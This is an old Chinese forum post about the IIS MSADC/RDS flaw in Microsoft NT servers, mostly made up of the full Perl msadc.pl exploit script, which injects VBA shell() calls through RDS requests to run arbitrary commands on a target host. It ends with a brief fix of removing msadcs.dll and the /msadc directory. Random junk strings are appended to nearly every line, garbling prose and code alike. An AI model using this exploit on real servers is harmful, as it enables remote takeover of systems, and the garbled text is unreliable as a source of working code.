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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) [* > @hx  
T "G!H  
涉及程序: ^J~}KOH  
Microsoft NT server 7F'61}qL  
1^Zx-p3J  
描述: <$njU=YE&  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ^?xXP=/  
;|/7o@$ n  
详细: 3G8uXB_`}  
如果你没有时间读详细内容的话,就删除: ._tv$Gd@k  
c:\Program Files\Common Files\System\Msadc\msadcs.dll dYV)lMJ*  
有关的安全问题就没有了。 +uwjZN'9a  
 "rjJ"u 1  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 -RH ?FJ  
=C\S6bF%  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ak;Z;  
关于利用ODBC远程漏洞的描述,请参看: r$\g6m  
~0 FqY &4  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm   6^: l  
>uJrq""+  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 c*1x*'j.  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?I/,r2ODLh  
c@q>5fR/c  
这里不再论述。 iKS9Xss8  
U.6hLFcE  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9 [I ro  
Da@tpKU)p  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset H_8@J  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! "a"[B'  
ld@f:Zali  
_Wb-&6{  
#将下面这段保存为txt文件,然后: "perl -x 文件名" v*BA\&  
S5Px9&N8(  
#!perl tc,7yo\".  
# QX]tD4OH  
# MSADC/RDS 'usage' (aka exploit) script (I~,&aBr  
# m#;:%.Rm  
# by rain.forest.puppy \AK|~:\]  
# "?9fL#8f*!  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me $qrr]U  
# beta test and find errors! sy@k3wQ  
bo -Gh`  
use Socket; use Getopt::Std; x)* /3[  
getopts("e:vd:h:XR", \%args); vp_$6  
<WbD4Q<3?  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Vi?Z`G]w!  
x.r`(  
if (!defined $args{h} && !defined $args{R}) { 7R2)Klt  
print qq~ 9vj:=,TNu  
Usage: msadc.pl -h <host> { -d <delay> -X -v }  vo(?[[  
-h <host> = host you want to scan (ip or domain) X)&Z{ V>  
-d <seconds> = delay between calls, default 1 second wRiP5U,  
-X = dump Index Server path table, if available iN {TTy  
-v = verbose h.Dk>H_G  
-e = external dictionary file for step 5 Dps{[3Y+  
`Ys })Pl  
Or a -R will resume a command session ~fUSmc  
R$3JbR.  
~; exit;} *nC,= 2  
h?1pGz)[C  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; lb6s3b  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} oF6MV&q/  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} D&^:hs@  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); {Jy%h8n*  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \rN_CBM  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } UQdQtj1'  
Cg|uHI*  
if (!defined $args{R}){ $ret = &has_msadc; 88*RlxU  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} d!LV@</  
<V8i>LBlz  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" }mGD`5[`  
. "cmd /c "; aKUr":z  
$in=<STDIN>; chomp $in; |zT0g]WH  
$command="cmd /c " . $in ; ^+wzm2i  
y;>I'e  
if (defined $args{R}) {&load; exit;}  !fV6KkV  
^ /BE=$E\  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [:=[QlvV  
&try_btcustmr; 0l6djN  
@} Z/{Z[@  
print "\nStep 2: Trying to make our own DSN..."; % b&BLXW  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; /uc/x+(_  
W|Tew-H{h_  
print "\nStep 3: Trying known DSNs..."; #~f+F0#%?  
&known_dsn; 2Ee1mbZVw8  
!?>)[@2 k6  
print "\nStep 4: Trying known .mdbs..."; 3"hR:'ts  
&known_mdb; .#eXNyCe  
hpyre B  
if (defined $args{e}){ S p )}  
print "\nStep 5: Trying dictionary of DSN names..."; "$'~=' [  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 6K y;1$  
BT1'@qF  
print "Sorry Charley...maybe next time?\n"; o'4@]ae   
exit; k$ M4NF~$  
B<&_lG0sS  
############################################################################## (KMobIP^  
I7_D $a=  
sub sendraw { # ripped and modded from whisker \xZBu"  
sleep($delay); # it's a DoS on the server! At least on mine... oQXkMKZ  
my ($pstr)=@_; 16Y~5JAc  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  e C{Z  
die("Socket problems\n"); JT9<kB/07  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;$E[u)l  
select(S); $|=1; M(E_5@?3  
print $pstr; my @in=<S>; >z -(4Z  
select(STDOUT); close(S); t5APD?5 c  
return @in; "3MUrIsB>  
} else { die("Can't connect...\n"); }} 4<K`yU]"  
*4:/<wI!  
############################################################################## xwxjj  
z{jAt6@7  
sub make_header { # make the HTTP request D5b _m|7%  
my $msadc=<<EOT c]r|I %D  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 PPO<{  
User-Agent: ACTIVEDATA g DG m32  
Host: $ip NGs9Jke2  
Content-Length: $clen oI~Qo*4eh  
Connection: Keep-Alive zs:7!  
j1C.#-P[  
ADCClientVersion:01.06 P0(~~z&%[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 PZR%8 m}]u  
@R&D["!  
--!ADM!ROX!YOUR!WORLD! |Z^g\l.j{  
Content-Type: application/x-varg ` W>B8  
Content-Length: $reqlen E|;5Z*  
&RrQ()<as  
EOT 5O W(] y|  
; $msadc=~s/\n/\r\n/g; tQaCNS$=  
return $msadc;} piotd,  
hF7mJ\  
############################################################################## 6<$|;w-OV  
JJ0 CM:xe  
sub make_req { # make the RDS request ejY5n2V#=  
my ($switch, $p1, $p2)=@_; Nt-SCLDM  
my $req=""; my $t1, $t2, $query, $dsn;  ?|J+dW  
~&3"Mi&>`  
if ($switch==1){ # this is the btcustmr.mdb query 8#u_+;,p  
$query="Select * from Customers where City=" . make_shell(); U3K<@r  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . h}>/Z3*  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} =hOa 0X=  
ZC*d^n]x.  
elsif ($switch==2){ # this is general make table query I<K/d  
$query="create table AZZ (B int, C varchar(10))"; `>EvT7u  
$dsn="$p1";} 5 hadA>d  
Hk*cO;c  
elsif ($switch==3){ # this is general exploit table query O9X:1>a@i  
$query="select * from AZZ where C=" . make_shell(); D>e\OfTR:  
$dsn="$p1";} l1Q+hz5"*U  
5l/l]  
elsif ($switch==4){ # attempt to hork file info from index server I 47GQho  
$query="select path from scope()"; HHTsHb{7  
$dsn="Provider=MSIDXS;";} >m1V9A  
^!F5Cz 48  
elsif ($switch==5){ # bad query o=# [^Zv  
$query="select"; G?d,$NMo|  
$dsn="$p1";} b ]&zDo|8  
?mR[A`J58  
$t1= make_unicode($query); mh7sY;SvM  
$t2= make_unicode($dsn); b N e\{k  
$req = "\x02\x00\x03\x00"; gNN" H#=2  
$req.= "\x08\x00" . pack ("S1", length($t1)); sg"D;b:X  
$req.= "\x00\x00" . $t1 ; Z"|P(]A  
$req.= "\x08\x00" . pack ("S1", length($t2)); xM//]  
$req.= "\x00\x00" . $t2 ; nSQ}yqM)  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; sLi//P?:t  
return $req;} O\Mq<;|7m  
s8d}HI  
############################################################################## ?EQ^n3U$  
3e6Y  
sub make_shell { # this makes the shell() statement q;zf|'&*7C  
return "'|shell(\"$command\")|'";} tq:tY}:4  
%=4ak]As  
############################################################################## uBq3.+,x*  
u\6]^T6  
sub make_unicode { # quick little function to convert to unicode LZC?383'  
my ($in)=@_; my $out; c_bVF 'Bz  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {Y:ZY+  
return $out;} mhLRi\[c )  
Qb't*2c%  
############################################################################## r82o[+$u0K  
o $`kpr  
sub rdo_success { # checks for RDO return success (this is kludge) UnWGMo?JEi  
my (@in) = @_; my $base=content_start(@in); J1p75c%  
if($in[$base]=~/multipart\/mixed/){ 7(~H77  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} kTZx-7~  
return 0;} U%t/wq  
8{<[fZyC  
############################################################################## [&qbc#L  
a950M7  
sub make_dsn { # this makes a DSN for us iQ{&&>V%  
my @drives=("c","d","e","f"); 4G8nebv  
print "\nMaking DSN: "; ivX37,B\bS  
foreach $drive (@drives) { <j 9Mt=8M  
print "$drive: "; "x|NG,<[9  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . %L13Jsw  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" l \^nC2  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); <VaMUm<2  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; %|(?!w7  
return 0 if $2 eq "404"; # not found/doesn't exist C9F+e  
if($2 eq "200") { N.{jM[\F  
foreach $line (@results) { VHT@s7u0"  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} /uE^H%9h  
} return 0;} [)SR $/A  
^[,s_34V  
############################################################################## ~x4B/zW?  
oCKM5AVWsv  
sub verify_exists { Hg9.<|+yo  
my ($page)=@_; _0W;)v  
my @results=sendraw("GET $page HTTP/1.0\n\n"); i ,IM?+4  
return $results[0];} KHlIK`r  
3U~lI&  
############################################################################## J/x@$'  
+:,`sdv6o  
sub try_btcustmr { rFq@ ]t3q  
my @drives=("c","d","e","f"); N8XC~Dh{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); J,1osG<6x  
}, fo+vRM  
foreach $dir (@dirs) { u.kYp  
print "$dir -> "; # fun status so you can see progress G?ugMl}  
foreach $drive (@drives) { JOdwv4(3V  
print "$drive: "; # ditto U$A7EFK'  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Q-`{PJ(p  
$reqlenlen=length( "$reqlen" ); D!RE-w92X  
$clen= 206 + $reqlenlen + $reqlen; (}C^_q:7d  
fNqmTRu  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 7SK 3  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} %[n R|a<  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} zvGK6qCk  
TsX+. i'  
############################################################################## <4Q12:  
!b7'>b'J<1  
sub odbc_error { k%l_N)38  
my (@in)=@_; my $base; =F'M~3M   
my $base = content_start(@in); f#v#)Gp+  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Jh\: X<q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j6e}7  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7rdw`  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {x[;5TM  
return $in[$base+4].$in[$base+5].$in[$base+6];} X7H'Uk9:  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; `8Jq~u6_Z  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Vm~qk  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} /esVuz  
>:jM}*dnL  
############################################################################## -MrtliepW*  
E q=wdI  
sub verbose { 7 DY WdDX  
my ($in)=@_; /bmXDDYH4  
return if !$verbose; feI./E  
print STDOUT "\n$in\n";} |"R_-U  
3^\?>C7  
############################################################################## hD_5~d  
JY2/YDJ  
sub save { }Kj Ju;  
my ($p1, $p2, $p3, $p4)=@_; W-z90k4Z5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; i,#k}CNu  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; q]eFd6  
close OUT;} [0&'cu>  
M@~~f   
############################################################################## _%'L@[ H  
eyT>wma0  
sub load { PFS;/   
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; V06CCy8n  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `ke3+%uj o  
@p=<IN>; close(IN); D0 /DI  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); dn ZzA  
$target= inet_aton($ip) || die("inet_aton problems"); E dn[cH7  
print "Resuming to $ip ..."; T- |9o|~z  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 8K0X[-hs8  
if($p[1]==1) { sno`=+|U]  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ~)q g  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; \ ]   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 4M}|/?<Br  
if (rdo_success(@results)){print "Success!\n";} +VCo$o  
else { print "failed\n"; verbose(odbc_error(@results));}} r{\BbUnf)  
elsif ($p[1]==3){ uf)W-Er6~  
if(run_query("$p[3]")){ J7BFk ?=  
print "Success!\n";} else { print "failed\n"; }} ryxYcEM0  
elsif ($p[1]==4){ +T0op4  
if(run_query($drvst . "$p[3]")){ O' +"d%2'  
print "Success!\n"; } else { print "failed\n"; }} Q2/MnM  
exit;} L[?nST18%  
Kt W6AZJ  
############################################################################## {p`mfEE (  
Y?yo\(Cdx  
sub create_table { D~#Ei?aH  
my ($in)=@_; i:o}!RZ>  
$reqlen=length( make_req(2,$in,"") ) - 28; ZFS7{:  
$reqlenlen=length( "$reqlen" );  nbI= r+  
$clen= 206 + $reqlenlen + $reqlen; AGOx@;w  
my @results=sendraw(make_header() . make_req(2,$in,"")); I-b_h5ZD6  
return 1 if rdo_success(@results); d2rL 8jW  
my $temp= odbc_error(@results); verbose($temp); \q~w<%9Dq  
return 1 if $temp=~/Table 'AZZ' already exists/; -2F@~m|  
return 0;} hv* >%p  
g(aZT#ii=  
############################################################################## 4YszVT-MU~  
01udlW.  
sub known_dsn { bfgz1 `u  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ao#!7F  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", M[, D  *  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 4% HGMr  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); c juZB Fl  
^=EjadVQ  
foreach $dSn (@dsns) { 'p%= <0vrr  
print "."; ZJ;LD*  
next if (!is_access("DSN=$dSn")); *'D=1{WZ!  
if(create_table("DSN=$dSn")){ z[fB!O  
print "$dSn successful\n"; lT.zNhz:d9  
if(run_query("DSN=$dSn")){ 2fJ{LC  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { v:KX9A.  
print "Something's borked. Use verbose next time\n";}}} print "\n";} b'i'GJBQ+$  
.~3kGf":  
############################################################################## CRFCqmevR  
v "Me{+  
sub is_access { 6*IpAIh  
my ($in)=@_; 0n3D~Xzd  
$reqlen=length( make_req(5,$in,"") ) - 28; XCDSmZ  
$reqlenlen=length( "$reqlen" ); OL3UgepF  
$clen= 206 + $reqlenlen + $reqlen; /aZE,IeEz  
my @results=sendraw(make_header() . make_req(5,$in,"")); 6*u,c^a  
my $temp= odbc_error(@results); F|9+ +)  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Bv $UFTz  
return 0;} ;7Y[c}V1^  
) Qq'Wp3i  
############################################################################## TyF{tuF  
2i\Q@h  
sub run_query { 17}$=#SX  
my ($in)=@_; V/PAi.GZ  
$reqlen=length( make_req(3,$in,"") ) - 28; Py|;kF~![  
$reqlenlen=length( "$reqlen" ); j{"z4Y4  
$clen= 206 + $reqlenlen + $reqlen; +$47v$p  
my @results=sendraw(make_header() . make_req(3,$in,"")); }j46L1T  
return 1 if rdo_success(@results); .WvlaPK  
my $temp= odbc_error(@results); verbose($temp); fXO_g  
return 0;} .NJ|p=fy  
9Bz0MUbrLl  
############################################################################## <l$P&jSF3  
Vtb1[cnna  
sub known_mdb { n`(~O O  
my @drives=("c","d","e","f","g"); {Oj7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rK1-Mu  
my $dir, $drive, $mdb; =m7H)z)i*J  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _%y4q%#  
k[\a)WcY8  
# this is sparse, because I don't know of many o#>a 5  
my @sysmdbs=( "\\catroot\\icatalog.mdb", B**Nn!}0  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5 L/x-i  
"\\system32\\certmdb.mdb", $5AC1g'  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% c%z'xM  
8d!GZgC8R  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Qzqc .T  
"\\cfusion\\cfapps\\forums\\forums_.mdb", a+`D'?z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  PWH^=K  
"\\cfusion\\cfapps\\security\\realm_.mdb", =E(#YCx  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", `0bP0^w  
"\\cfusion\\database\\cfexamples.mdb", ]f8L:=c  
"\\cfusion\\database\\cfsnippets.mdb", lCJ6Ur;  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", h[kU<mU"T  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", x5}lgyt  
"\\cfusion\\brighttiger\\database\\cleam.mdb", )I`if(fG  
"\\cfusion\\database\\smpolicy.mdb", rn8cdM N  
"\\cfusion\\database\cypress.mdb", xzsdG?P  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", IA4N@ijRxh  
"\\website\\cgi-win\\dbsample.mdb", .2W"w)$nuq  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %'bJ:  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" VfSj E.|  
); #these are just e_.Gw"/Yl  
foreach $drive (@drives) { :^i^0dC  
foreach $dir (@dirs){ 1@>$ Gcc  
foreach $mdb (@sysmdbs) { 0K `[,$Y  
print "."; 9CJ(Z+;OM  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ "Y;}G lE  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Y- )x Tn  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ A#rh@8h+  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; , sjh^-;  
} else { print "Something's borked. Use verbose next time\n"; }}}}} thc <xxRP  
_Mk7U@j+9  
foreach $drive (@drives) { +D&Pp0xe  
foreach $mdb (@mdbs) { [Wi 1|]X"G  
print "."; IXpc,l `  
if(create_table($drv . $drive . $dir . $mdb)){ F]EBD8/b  
print "\n" . $drive . $dir . $mdb . " successful\n"; ;AX8aw,  
if(run_query($drv . $drive . $dir . $mdb)){ j+rG7z){K  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; r^0F"9eOL  
} else { print "Something's borked. Use verbose next time\n"; }}}} wi_'iv  
} SmhGZ  
I9?Ec6a_  
############################################################################## _,haD)1g~  
}!p`1]gem  
sub hork_idx { NI aFI(  
print "\nAttempting to dump Index Server tables...\n"; ;=4Xz\2  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; t$J.+}}I  
$reqlen=length( make_req(4,"","") ) - 28; 3B0PGvCI1  
$reqlenlen=length( "$reqlen" ); cA)[XpQ:+W  
$clen= 206 + $reqlenlen + $reqlen; oDn|2Sdqd  
my @results=sendraw2(make_header() . make_req(4,"","")); TP%+.#Fu  
if (rdo_success(@results)){ 7f3O  
my $max=@results; my $c; my %d; o`n$b(VZ  
for($c=19; $c<$max; $c++){ EON:B>2a  
$results[$c]=~s/\x00//g; `d\r;cE%lm  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; W$0^(FH[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; W3H+.E  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; HCWNo  
$d{"$1$2"}="";} Y}s@WJ  
foreach $c (keys %d){ print "$c\n"; } Qm4o7x{q  
} else {print "Index server doesn't seem to be installed.\n"; }} A1 "SLFY  
x79Ha,  
############################################################################## CyDV r  
}}&#|)Yq  
sub dsn_dict { ^uBxgWIC  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ? *>]")[>  
while(<IN>){ PPkx4S_>  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; =K\r-'V  
next if (!is_access("DSN=$dSn")); *=AqM14 @  
if(create_table("DSN=$dSn")){ bD ^b  
print "$dSn successful\n"; ;G\8jP'   
if(run_query("DSN=$dSn")){ as*4UT3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qIIJ4n  
print "Something's borked. Use verbose next time\n";}}} 8CbXMT  
print "\n"; close(IN);} H+E$:)gN  
\C,p WW  
############################################################################## _P?s'HH  
vi.w8 >CE  
sub sendraw2 { # ripped and modded from whisker (o5j'2:.  
sleep($delay); # it's a DoS on the server! At least on mine... QnQOm ""  
my ($pstr)=@_; 5 Xn.CBd]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || lVOu)q@l7g  
die("Socket problems\n"); x'<K\qp{{  
if(connect(S,pack "SnA4x8",2,80,$target)){ zcrY>t#l  
print "Connected. Getting data"; |`Or'%|PR  
open(OUT,">raw.out"); my @in; J(DN !  
select(S); $|=1; print $pstr; 9KWuN:Sg  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Gg Jf7ie4  
close(OUT); select(STDOUT); close(S); return @in; f| _u7"OX  
} else { die("Can't connect...\n"); }} >P6BW  
7%f&M>/  
############################################################################## Rk!X]-`=  
WOzf]3Xcj  
sub content_start { # this will take in the server headers JjaoOe  
my (@in)=@_; my $c; i4Lc$20?d  
for ($c=1;$c<500;$c++) { wX  >*H  
if($in[$c] =~/^\x0d\x0a/){ Hso|e?Z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } >zAUW[]C:I  
else { return $c+1; }}} 86]p#n_>Fv  
return -1;} # it should never get here actually hj'(*ND7z  
CI353-`  
############################################################################## MZ+^-@X  
ls@i".[  
sub funky { h8Yx#4  
my (@in)=@_; my $error=odbc_error(@in); 7 d LuX   
if($error=~/ADO could not find the specified provider/){ ;AO#xv+#  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; fU=B4V4@  
exit;} Mmpfto%i  
if($error=~/A Handler is required/){ _XCOSomL`  
print "\nServer has custom handler filters (they most likely are patched)\n"; > pI;%'  
exit;} hxQqa 0B  
if($error=~/specified Handler has denied Access/){ _SW3_8SuM.  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;rc`OZyE  
exit;}} i&{DOI%w  
Cj~'Lhmv'T  
############################################################################## }=c85f~i  
AbZKYF P  
sub has_msadc { /|* Y2ETOr  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); C74a(Bk}H  
my $base=content_start(@results); /c uLc^(X  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); lpz2 m\  
return 0;} PRHCrHs  
Fu!RhsW5j  
######################## J8mdoVt  
D$t k<{)oB  
^#-nE7  
解决方案: DI+fwXeg  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll qkiI/nH3  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 AvfNwE  
9I4K}R  
拿出来充数 哈哈
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